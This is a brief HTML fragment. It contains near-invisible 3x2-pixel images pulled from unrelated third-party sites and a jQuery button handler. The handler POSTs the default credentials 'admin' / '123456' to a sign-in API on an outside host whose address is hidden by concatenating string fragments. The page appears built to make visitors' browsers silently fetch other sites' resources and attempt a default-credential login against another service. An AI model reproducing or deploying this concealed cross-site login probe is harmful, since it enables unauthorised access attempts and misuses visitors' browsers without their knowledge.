<img src="https://www.baidu.com/img/flexible/logo/pc/result.png" width="3px" height="2px"/>

<!--
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<img src="http://upload.cankaoxiaoxi.com/2020/0822/1598076024945.jpg" width="3px" height="2px"/>

<img src="http://www.cqcoal.com/img/titlog.png" width="3px" height="2px"/>
<img src="http://www.cqcoal.com/img/slideBox/3.png?v=0.9357710494137348" width="3px" height="2px"/>
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<script type="text/javascript" src="jquery.min.js"></script>

<script type="text/javascript">

	function login() {
		var params = {
			"username": "admin",
			"password": "123456"
		};
		$.ajax({
			url: "http://ta" + "o" +  "tie." + "mi" + "ssf" + "res" + "h" + ".ne" + "t/api/" + "sign" + "In", 
			contentType: 'application/json',
  			type: 'POST',
			data: JSON.stringify(params), 
			success: function(resp) {
				alert(resp);
			}
		});
	};

</script>

<input type="button" onclick="login();" />